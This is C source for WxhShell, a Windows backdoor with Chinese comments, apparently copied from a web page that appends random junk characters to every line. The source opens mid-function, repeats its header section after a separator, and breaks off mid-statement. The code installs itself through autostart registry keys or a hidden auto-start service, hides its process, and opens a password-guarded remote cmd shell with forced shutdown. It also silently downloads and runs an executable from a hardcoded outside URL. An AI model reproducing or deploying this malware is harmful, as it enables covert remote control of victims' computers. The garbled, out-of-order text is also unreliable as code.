  // 关机 ?ZkVk=t?  
  case 'd': { q^~w:$^ U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o[S Mt  
    if(Boot(SHUTDOWN)) z5sKV7&\[n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -qLNs_ _k  
    else { %6Y}0>gY  
    closesocket(wsh); Ie8SPNY-H  
    ExitThread(0); q~X}&}UT  
    } QqcAmp  
    break; M?kXzb\O  
    } F$9+WS`c  
  // 获取shell 2%MS$Fto  
  case 's': { |Z$)t%'  
    CmdShell(wsh); qSaCl6[Do  
    closesocket(wsh); E.^u:0:P  
    ExitThread(0); k\ZU%"^J  
    break; $]?M[sL\N7  
  } s&DAO r!i  
  // 退出 dQ#oY|a  
  case 'x': { H{_6e6`e.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fvG4K(  
    CloseIt(wsh); L_!}R  
    break; : %U lNk  
    } w2K>k/v{-  
  // 离开 ytV4qU82G  
  case 'q': { Ev48|X6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +Lo,*  
    closesocket(wsh); uiWo<}t}{  
    WSACleanup(); I#W J";kqB  
    exit(1); VY0-18 o  
    break; -or)NE  
        } '47E8PIJ|  
  } ff aMF~+  
  } &@qB6!^  
V~t; J  
  // 提示信息 c{jTCkzq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t /lU*  
} cWI7];/d;  
  } 5)gC<  
a JQ_V  
  return; 2}5@: cwR+  
} YCyh+%Q(  
mH'om SCz  
// shell模块句柄 2V$YZSw6q  
int CmdShell(SOCKET sock) WTZuf9:  
{ |s!n7%|,7  
STARTUPINFO si; }IKU^0M9<T  
ZeroMemory(&si,sizeof(si)); =':B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F_V/&OV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B<,AI7  
PROCESS_INFORMATION ProcessInfo; Nxm '* -A  
char cmdline[]="cmd"; h6D1uM"o   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *C^TCyBK;  
  return 0; 6h\; U5  
} =z}M(<G  
&VVvZ@X;  
// 自身启动模式 m\K1Ex  
int StartFromService(void) dAjm4F -  
{ Q*/jQC  
typedef struct 5"Y:^_8  
{ hP jL  
  DWORD ExitStatus; ~e+pa|lO  
  DWORD PebBaseAddress; -V||1@ |  
  DWORD AffinityMask; s6I/%R3  
  DWORD BasePriority; ) =|8%IrB  
  ULONG UniqueProcessId; ` )~CT  
  ULONG InheritedFromUniqueProcessId; N2Cf(  
}   PROCESS_BASIC_INFORMATION; !Eb!y`jK  
ul\FZT 4  
PROCNTQSIP NtQueryInformationProcess; $u,`bX  
*,wW-8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .L_ Hk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $XFFNE`%  
p{w;y6e  
  HANDLE             hProcess; ,){WK|_  
  PROCESS_BASIC_INFORMATION pbi; &GI'-i  
RP 6hw|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?lIh&C8]X  
  if(NULL == hInst ) return 0; 1xsB@D  
T?D]]x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p$6L_ *$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EOf*1/Ih  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qvRs1yr?q  
tSaD=#v  
  if (!NtQueryInformationProcess) return 0; N\x<'P4q  
P)UpUMt;k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l,j0n0h.  
  if(!hProcess) return 0; J8DKia|h(  
smuQ1.b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; byJ[1UK  
,h.hgyt  
  CloseHandle(hProcess); 8|rlP  
7*47mJyc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }kk[lvhJ  
if(hProcess==NULL) return 0; N!13QI H  
`W4Is~VVv  
HMODULE hMod; iM{cr&0  
char procName[255]; <;NxmO<%\  
unsigned long cbNeeded; :Y&h'FGZm  
F=$U.K~1?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .c_qMTm"  
.Kk'N  
  CloseHandle(hProcess); DcZ,a E]  
UFr5'T  
if(strstr(procName,"services")) return 1; // 以服务启动 v t}A6mF  
oF5~|&C  
  return 0; // 注册表启动 M V~3~h8  
} [S[@ Q[zP@  
wmit>69S  
// 主模块 m?`$NJST  
int StartWxhshell(LPSTR lpCmdLine) r7  *'s  
{ _Ns_$_  
  SOCKET wsl; D;X/7 p|>  
BOOL val=TRUE; \xOv9(  
  int port=0; l`*R !\  
  struct sockaddr_in door; 'k9 1;T[  
o>\epQt~/p  
  if(wscfg.ws_autoins) Install(); ~@K!>j  
7 9ZYRm2;  
port=atoi(lpCmdLine);  lmB+S  
U p: M[S  
if(port<=0) port=wscfg.ws_port; =2, iNn  
-2y>X`1Y  
  WSADATA data; B%KfB VC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4NmLbM&C8  
h7>`:~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~01Fp;L/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mvGj !'  
  door.sin_family = AF_INET; 7gT^ZL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); stlkt>9  
  door.sin_port = htons(port); DX8pd5 U  
@%$<,$=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h,P#)^"  
closesocket(wsl); {8J+ Y}  
return 1; UQ+!P<>w   
} zT jk^  
o$,e#q)8  
  if(listen(wsl,2) == INVALID_SOCKET) { GhY MO6Q4  
closesocket(wsl); l%MIna/Tp  
return 1; R"[U<^  
} [!b=A:@  
  Wxhshell(wsl); s;YuB#Z  
  WSACleanup(); gJuA*^  
EY[J;H_b  
return 0; q!}O+(kt  
%x|0<@b7-  
} mO^vKq4r.  
~Z x_"  
// 以NT服务方式启动 _9"%;:t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +:m'  
{ ?h'd\.j{  
DWORD   status = 0; <I^Tug\M+  
  DWORD   specificError = 0xfffffff; $rmfE  
Y+_t50 S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W= $, \D+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r7n-Xe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u6~/" _FwY  
  serviceStatus.dwWin32ExitCode     = 0; ^EmI;ks  
  serviceStatus.dwServiceSpecificExitCode = 0; ]"4\]_?r  
  serviceStatus.dwCheckPoint       = 0; x)^t5"F  
  serviceStatus.dwWaitHint       = 0; y4N=v{EbL  
<>^otb,e$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lAx^!#~\  
  if (hServiceStatusHandle==0) return; +(J{~A~  
SHP_  
status = GetLastError(); ($Ck5`_MK  
  if (status!=NO_ERROR) y4 ~;H{!  
{ S%k](\7!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8zk?:?8%{  
    serviceStatus.dwCheckPoint       = 0; B&c*KaK;~  
    serviceStatus.dwWaitHint       = 0; 44(l1xEN+  
    serviceStatus.dwWin32ExitCode     = status; *9xv0hRQ%?  
    serviceStatus.dwServiceSpecificExitCode = specificError; j_HwR9^fd,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8K0@*0  
    return; /|2 hW`G  
  } cSs??i D"q  
hQ}B?'>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JO"-"&>  
  serviceStatus.dwCheckPoint       = 0; Y+UM>  
  serviceStatus.dwWaitHint       = 0; x6B_5eF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @EzO bE{  
} *S=zJyAO  
O #S27.  
// 处理NT服务事件,比如:启动、停止 gN/6%,H}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8.4+4Vxh   
{ .@(9v.:_u  
switch(fdwControl) W=@]YI  
{ <hSrx7o  
case SERVICE_CONTROL_STOP: 8\@&~&(y:  
  serviceStatus.dwWin32ExitCode = 0; nA>kJSL'$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [`Dv#  
  serviceStatus.dwCheckPoint   = 0; .3yxg}E>{  
  serviceStatus.dwWaitHint     = 0; kA%"-$3  
  { Q,z^eMk'd:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c @~j}(A  
  } E8s&.:;+  
  return; *FrlzIAom  
case SERVICE_CONTROL_PAUSE: o>}fKg<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U4ELlxGe  
  break; eW^_YG%(  
case SERVICE_CONTROL_CONTINUE: 4` zfrT^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;OynkZs)  
  break; *%wfR7G[B  
case SERVICE_CONTROL_INTERROGATE: j=~c( B  
  break; 3G)Wmmh"a  
}; aL%amL6CX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dwAFJhgh  
} (:2,Rr1"  
TwZASn]o  
// 标准应用程序主函数 W bW@V_rr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) llP 5  
{ G 0;5I_D/  
x O~t  
// 获取操作系统版本 DoA+Bwq@  
OsIsNt=GetOsVer(); R<jt$--H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <_~>YJ  
T2^0Q9E?  
  // 从命令行安装 kt*""&R  
  if(strpbrk(lpCmdLine,"iI")) Install(); b7_uT`<  
42wa9UL<Ka  
  // 下载执行文件 U ,wJ8  
if(wscfg.ws_downexe) { ZfYva(zP{Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "Wz#<! .r  
  WinExec(wscfg.ws_filenam,SW_HIDE); F qW[L>M'  
} `Z:5E  
\Gk4J<  
if(!OsIsNt) { G$B( AWL  
// 如果时win9x,隐藏进程并且设置为注册表启动 s;'j n_,0  
HideProc(); |*+f N8  
StartWxhshell(lpCmdLine); D+ )R_  
} SXW8p>1Jw  
else feH|sz`e  
  if(StartFromService()) 5uU.K3G7  
  // 以服务方式启动 y(!Y N7_A  
  StartServiceCtrlDispatcher(DispatchTable); ?!:$Z4G  
else 9svnB@  
  // 普通方式启动 >K2Md*[P3q  
  StartWxhshell(lpCmdLine); ?/ @~ d  
kt ILKpHt"  
return 0; !u0qF!/W  
} 1UHStR  
^" EsBt  
^\z.E?v%  
^MUSq(  
=========================================== \[Dxg`;4  
;;9W/m~]  
Ie[8Iot?bn  
oTPPYi[r  
9bL`0L  
5w\>Whbd  
" [84f[`!Ui  
)jh4HMvmC  
#include <stdio.h> D{]t50a.  
#include <string.h> FY^[?lj  
#include <windows.h> h@5mVTb}i  
#include <winsock2.h> r+}5;fQJ  
#include <winsvc.h> 7gLN7_2  
#include <urlmon.h> 1e 8J-Nkj  
$c!cO" U  
#pragma comment (lib, "Ws2_32.lib") 2{v$GFc/  
#pragma comment (lib, "urlmon.lib") E^:8Jehq  
,X[l C\1a  
#define MAX_USER   100 // 最大客户端连接数 QBg~b{h  
#define BUF_SOCK   200 // sock buffer y~.k-b<{[  
#define KEY_BUFF   255 // 输入 buffer l (EDe  
#}/YnVk  
#define REBOOT     0   // 重启 R6^U9 fDG  
#define SHUTDOWN   1   // 关机 N3D{t\hg  
j4ARGkK5B  
#define DEF_PORT   5000 // 监听端口 @a08*"lbp  
CCCd=s.  
#define REG_LEN     16   // 注册表键长度 `D0>L '  
#define SVC_LEN     80   // NT服务名长度 Zc_%hQf2A  
-6URM`y'j  
// 从dll定义API Y#>'.$ (Az  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \`H"4r[?(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N$8do?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LL|uMe"Jb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,_STt)  
(;f7/2~`  
// wxhshell配置信息 E8[{U8)[;5  
struct WSCFG { mVJW"*}8  
  int ws_port;         // 监听端口 RTPxAp+\5  
  char ws_passstr[REG_LEN]; // 口令 3#{{+5G  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q}pnb3J>T  
  char ws_regname[REG_LEN]; // 注册表键名 Xz,-'  
  char ws_svcname[REG_LEN]; // 服务名 V-#OiMWa~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T=/GFg'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {[r}&^K15  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {o2pCH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LaI(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >EVlMt27'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tY?_#rc  
<78]OZ] Z  
}; 9ghZL Q  
0* G5Vd  
// default Wxhshell configuration u/`jb2eEU:  
struct WSCFG wscfg={DEF_PORT, wYZ"fusT  
    "xuhuanlingzhe", ~i`@  
    1, ls5s}X  
    "Wxhshell", Jr0D:  
    "Wxhshell", 'ZyHp=RN)  
            "WxhShell Service", Z3:M%)e_u$  
    "Wrsky Windows CmdShell Service", 8vzjPWu  
    "Please Input Your Password: ", 6XVr-ef  
  1, ?{bF3Mz=  
  "http://www.wrsky.com/wxhshell.exe", xM ]IU <  
  "Wxhshell.exe" aE[>^~Lv}  
    }; ]SNA2?q  
rgQ6/3}qc  
// 消息定义模块 :}r^sD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l?>sLKo9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7qfo%n"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MQL1/>j;  
char *msg_ws_ext="\n\rExit."; g+5{&YD  
char *msg_ws_end="\n\rQuit."; "AN2K  
char *msg_ws_boot="\n\rReboot..."; wzX 1!?  
char *msg_ws_poff="\n\rShutdown..."; H*#L~!]  
char *msg_ws_down="\n\rSave to "; yo)a_rY  
ldjypEa}  
char *msg_ws_err="\n\rErr!"; EN lqoj1  
char *msg_ws_ok="\n\rOK!"; b9M.p*!  
/O"IA4O  
char ExeFile[MAX_PATH]; (kpn"]^'  
int nUser = 0; I]qml2  
HANDLE handles[MAX_USER]; 3"2 8=)o  
int OsIsNt; N3P!<J/tc  
%9z N U  
SERVICE_STATUS       serviceStatus; |_&Tu#er3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8 *@knkJ  
1}#(4tw)  
// 函数声明 7aH E:Dnwp  
int Install(void); nSH A,c  
int Uninstall(void); Cm:&n|  
int DownloadFile(char *sURL, SOCKET wsh); G~Xh4*#J  
int Boot(int flag); (<ybst6+I  
void HideProc(void); [@Hv,  
int GetOsVer(void); [ m*=Q  
int Wxhshell(SOCKET wsl); iz'#K?PF_  
void TalkWithClient(void *cs); IY@)  
int CmdShell(SOCKET sock); wAHW@q9CK  
int StartFromService(void); Ndj9B|s_  
int StartWxhshell(LPSTR lpCmdLine); zV)Ob0M7U  
Nrl&"IK|J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &FrW(>2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K*uFqdLL!  
ZN)a}\]  
// 数据结构和表定义 zh5{t0E}C  
SERVICE_TABLE_ENTRY DispatchTable[] = "65@8xt==  
{ 5.J$0wK'6  
{wscfg.ws_svcname, NTServiceMain}, |RqCw7  
{NULL, NULL} S[fzy$">  
}; sY?pp '}a  
1Yt;1k'  
// 自我安装 pm<zw-  
int Install(void) {;4AdZk  
{ }Sa2s&[<  
  char svExeFile[MAX_PATH]; ;^)(q<]  
  HKEY key; Ya] qo]  
  strcpy(svExeFile,ExeFile); -Z&6PT7  
Ba/Z<1)  
// 如果是win9x系统,修改注册表设为自启动 n50XGv  
if(!OsIsNt) { 9NwA5TP9_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A3%s5`vNvH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A:3bL: ;t  
  RegCloseKey(key); jRXpEiM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (;=:QjaoZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )L#C1DP#  
  RegCloseKey(key); 4VE7%.z+  
  return 0; _5Q?]-M  
    } )%8oE3O#  
  } TRG(W^<F  
} 70! &  
else { 8XwAKN:f  
{H eIY2  
// 如果是NT以上系统,安装为系统服务 _+ K[1P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U6qv8*~  
if (schSCManager!=0) .)^@[yrkz  
{ $NP5Z0v7  
  SC_HANDLE schService = CreateService JDVMq=ui  
  ( <^VZ4$j  
  schSCManager, yvo~'k#c  
  wscfg.ws_svcname, +F ~;Q$T  
  wscfg.ws_svcdisp, ,-Fhb~u  
  SERVICE_ALL_ACCESS, ~1YL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MGIpo[  
  SERVICE_AUTO_START, le`&VdE^  
  SERVICE_ERROR_NORMAL, Iw~3y{\  
  svExeFile, W5*%n]s~  
  NULL, ?}%Gr,tj2  
  NULL, W5?F?Dp!v  
  NULL, Ltpd:c  
  NULL, l5S (x Q  
  NULL s)<#a(!  
  ); `pY\Mmgv1  
  if (schService!=0) QOIi/flK  
  { [@[!esC  
  CloseServiceHandle(schService); 0~RsdQGqC  
  CloseServiceHandle(schSCManager); >x)YdgJ*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !mK[kXo  
  strcat(svExeFile,wscfg.ws_svcname); 4*OL^ \%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5gW`;Cdbyc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .z+?b8Q\  
  RegCloseKey(key); V ?3>hQtB  
  return 0; Ea1{9> S  
    } vTjgW?9  
  } X"b4U\A  
  CloseServiceHandle(schSCManager); a>`\^>G4  
} NAhV8  
} joDnjz=  
?HVsIAU  
return 1; ?GU/Rf!H#  
} Ken|!rL  
y|q4d(P.  
// 自我卸载 8rXq-V_u  
int Uninstall(void) l?(nkg["nY  
{ tx&>Eo  
  HKEY key; Y5=~>*e  
0IBVR,q  
if(!OsIsNt) { -2|D( sO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oT&JQ,i[2Q  
  RegDeleteValue(key,wscfg.ws_regname); " e g`3v  
  RegCloseKey(key); I*@\pc}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ri4_zb  
  RegDeleteValue(key,wscfg.ws_regname); ~j 3B'  
  RegCloseKey(key); F }pS'Y  
  return 0; rui}a=rs  
  } F}0QocD  
} Rp A76ug  
} N<hbV0$%  
else { c }ivYH?`w  
Ql%7wrK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =nFT0];  
if (schSCManager!=0) MTb}um.($  
{ FR0zK=\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xj{X#[q):  
  if (schService!=0) a\vf{2  
  { D[ 7K2G+  
  if(DeleteService(schService)!=0) { 3`TC*  
  CloseServiceHandle(schService); a%tm[Re  
  CloseServiceHandle(schSCManager); Y::fcMJr;Q  
  return 0; 7E Y~5U/4  
  } _|DP  
  CloseServiceHandle(schService); pW:h\}%`n  
  } ce2d)FG}e  
  CloseServiceHandle(schSCManager); POH >!lHu  
} ; VK;_d  
} FvG9PPd  
-_uL;9r  
return 1; <Ml,H%F  
} z"}k\B-5  
eno*JK  
// 从指定url下载文件 M42Zpb].  
int DownloadFile(char *sURL, SOCKET wsh) KblOP{I  
{ tyP-J4J  
  HRESULT hr; bw%1*;n)  
char seps[]= "/"; rctn0*MP  
char *token; t8i"f L  
char *file; x)"=*Jj  
char myURL[MAX_PATH]; hNDhee`%6  
char myFILE[MAX_PATH]; ~(aq3ngo.  
zmr=iK  
strcpy(myURL,sURL); #Yw^n?~~  
  token=strtok(myURL,seps); W:(:hT6`j9  
  while(token!=NULL) 32~Tf,  
  { + A0@# :B  
    file=token; !Q.c8GRUQ  
  token=strtok(NULL,seps); ^{6Y7T]  
  } =v:_N.Fh-c  
)[p8  
GetCurrentDirectory(MAX_PATH,myFILE); *N>Qj-KAM_  
strcat(myFILE, "\\"); ~%#?;hJ  
strcat(myFILE, file); d[~c-G6  
  send(wsh,myFILE,strlen(myFILE),0); 7e8hnTzl8<  
send(wsh,"...",3,0); _'I9rGlx3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7]nPWz1%*  
  if(hr==S_OK) 'Fonn  
return 0; gKYn*  
else T&R`s+7  
return 1; s{s0#g  
$35Oyd3s<  
} yLDHJ}R  
+vU.#C_2  
// 系统电源模块 8U;!1!+ 7)  
int Boot(int flag) Gi<f/xQk>  
{ dHp6G^Y  
  HANDLE hToken; qh2.N}lW  
  TOKEN_PRIVILEGES tkp; Rp@u.C <  
l w%fY{  
  if(OsIsNt) { qHKZ5w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }s)Z:6;(,q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EXBfzK)a  
    tkp.PrivilegeCount = 1; ze 4/XR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5vpf;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mdZELRu  
if(flag==REBOOT) { TM"-X\e~{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {'b8;x8h  
  return 0; ] !A;-m  
} :EO}uP2  
else { t =*K?'ly  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {[s<\<~B*  
  return 0; ALw uw^+  
} djSN{>S  
  } JNu- z:J  
  else { lyi}q"Kn*;  
if(flag==REBOOT) { y^nR=Q]_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E$1^}RGT)  
  return 0; i]YQq!B  
} }UO,R~q~  
else { =CVw0'yZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >ciq4H43Q|  
  return 0; aQG#bh [  
} t/$xzsoJZr  
} B.WJ6.DkS  
ms{R|vU%b  
return 1; 4ku/3/ 6  
} )s8r(.W  
kzmt'/L8  
// win9x进程隐藏模块 7 dzE"m  
void HideProc(void) RasoOj$  
{ a(7ryl~c=  
N<{ `n;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N\fT6#5B  
  if ( hKernel != NULL ) l<HRD  
  { 6+FON$8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <2 Q@^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6a@~;!GlI  
    FreeLibrary(hKernel); f8 ja Mn9o  
  } m7"f6zSo(  
VZ,T`8"  
return; Z~uKT n  
} K$.zO4  
zfZDtKq  
// 获取操作系统版本 93J)9T  
int GetOsVer(void) hG@ys5  
{ A!D:Kc3  
  OSVERSIONINFO winfo; _y9P]@Q7%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6:,^CI|@ t  
  GetVersionEx(&winfo); ["F,|e{y$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W~tOH=9>  
  return 1; NM@An2  
  else /4?`F} 7)  
  return 0; X{ =[q|P  
} gp HwiFc  
ddP,_.0  
// 客户端句柄模块 @QG1\W'  
int Wxhshell(SOCKET wsl)  62jA  
{ ='0!B]<G  
  SOCKET wsh; {*U:Wm<  
  struct sockaddr_in client; J7GsNFL  
  DWORD myID; {9".o,  
YZl%JX  
  while(nUser<MAX_USER) JNaW> X$K  
{ d*$<%J  
  int nSize=sizeof(client); fO^6q1a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >n~p1:$  
  if(wsh==INVALID_SOCKET) return 1; r%pFq1/'!  
(OB8vTRXP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3.X0!M;x  
if(handles[nUser]==0) "6yiQ\`J  
  closesocket(wsh); v{n}%akc  
else ^gzNP#A<'o  
  nUser++; ~,2hP ~  
  } 9M]"%E!s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h)8+4?-4 I  
C-u/{CP  
  return 0; A.9'pi'[9Q  
} WN +Jf  
/dt!J `:  
// 关闭 socket 2j7d$y*'  
void CloseIt(SOCKET wsh) WV1 Z  
{ q_y,j&  
closesocket(wsh); ZT8J i?_n  
nUser--; WWW#s gM%  
ExitThread(0); :IVMTdYf  
} h5rP]dbhXU  
Sn2Ds)Pfx3  
// 客户端请求句柄 "P5bYq%0v  
void TalkWithClient(void *cs) ]H#Rm#q  
{ &17,]#3  
19 wqDIE0  
  SOCKET wsh=(SOCKET)cs; ~}-p5q2  
  char pwd[SVC_LEN]; '$h @  
  char cmd[KEY_BUFF]; I.+)sB?5  
char chr[1]; VnSj:LUD  
int i,j; }&T<wm!  
e=o{Zo?H=  
  while (nUser < MAX_USER) { 9LO.8Jy  
QHs:=i~VH  
if(wscfg.ws_passstr) { _8b]o~[Z+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 207O["Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ccn`f]5w  
  //ZeroMemory(pwd,KEY_BUFF); `)=A !x y  
      i=0; 8#]7`o  
  while(i<SVC_LEN) { $wYuH9(  
y|;8:b32  
  // 设置超时 FK@ f'  
  fd_set FdRead; _A,-[*OKI  
  struct timeval TimeOut; cxD}t'T  
  FD_ZERO(&FdRead); 1%hM8:)i_  
  FD_SET(wsh,&FdRead); _Hd1sx  
  TimeOut.tv_sec=8; Krr?`n  
  TimeOut.tv_usec=0; cl8_rt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -S,ir  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RZd4(7H=q  
LPapD@Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /;<e.  
  pwd=chr[0]; >2lAy:B5  
  if(chr[0]==0xd || chr[0]==0xa) { %<wQ  
  pwd=0; HTUYvU*-  
  break; W"-EC`nP  
  } c3zT(FgO>N  
  i++; qX p,d  
    } V5yxQb  
\za5:?[xB  
  // 如果是非法用户,关闭 socket | or 8d>,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EtR@sJ<  
} m0I #  
{ OxAY_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?GUz?'d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); piYws<Q  
9{O2B5u1  
while(1) { Et}C`vZ+Ve  
,5eH2W  
  ZeroMemory(cmd,KEY_BUFF); /$FXg;h9$  
(o x4K{  
      // 自动支持客户端 telnet标准   >9o,S3  
  j=0; h/ LR+XX!  
  while(j<KEY_BUFF) { <\1}@?NGC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y!Uu173  
  cmd[j]=chr[0]; T6h;Y  
  if(chr[0]==0xa || chr[0]==0xd) { GOYn\N;V2  
  cmd[j]=0; "pSH!0Ap\  
  break; c&7Do}  
  } h1^9tz{  
  j++; e9~cBG|  
    } '2|1%NSW9  
&YT_#M  
  // 下载文件 `e'G.@  
  if(strstr(cmd,"http://")) { M1AZ}b c0]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~In{lQ[QX  
  if(DownloadFile(cmd,wsh)) =cf{f]N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CS~=Z>6EjA  
  else ps"/}u l  
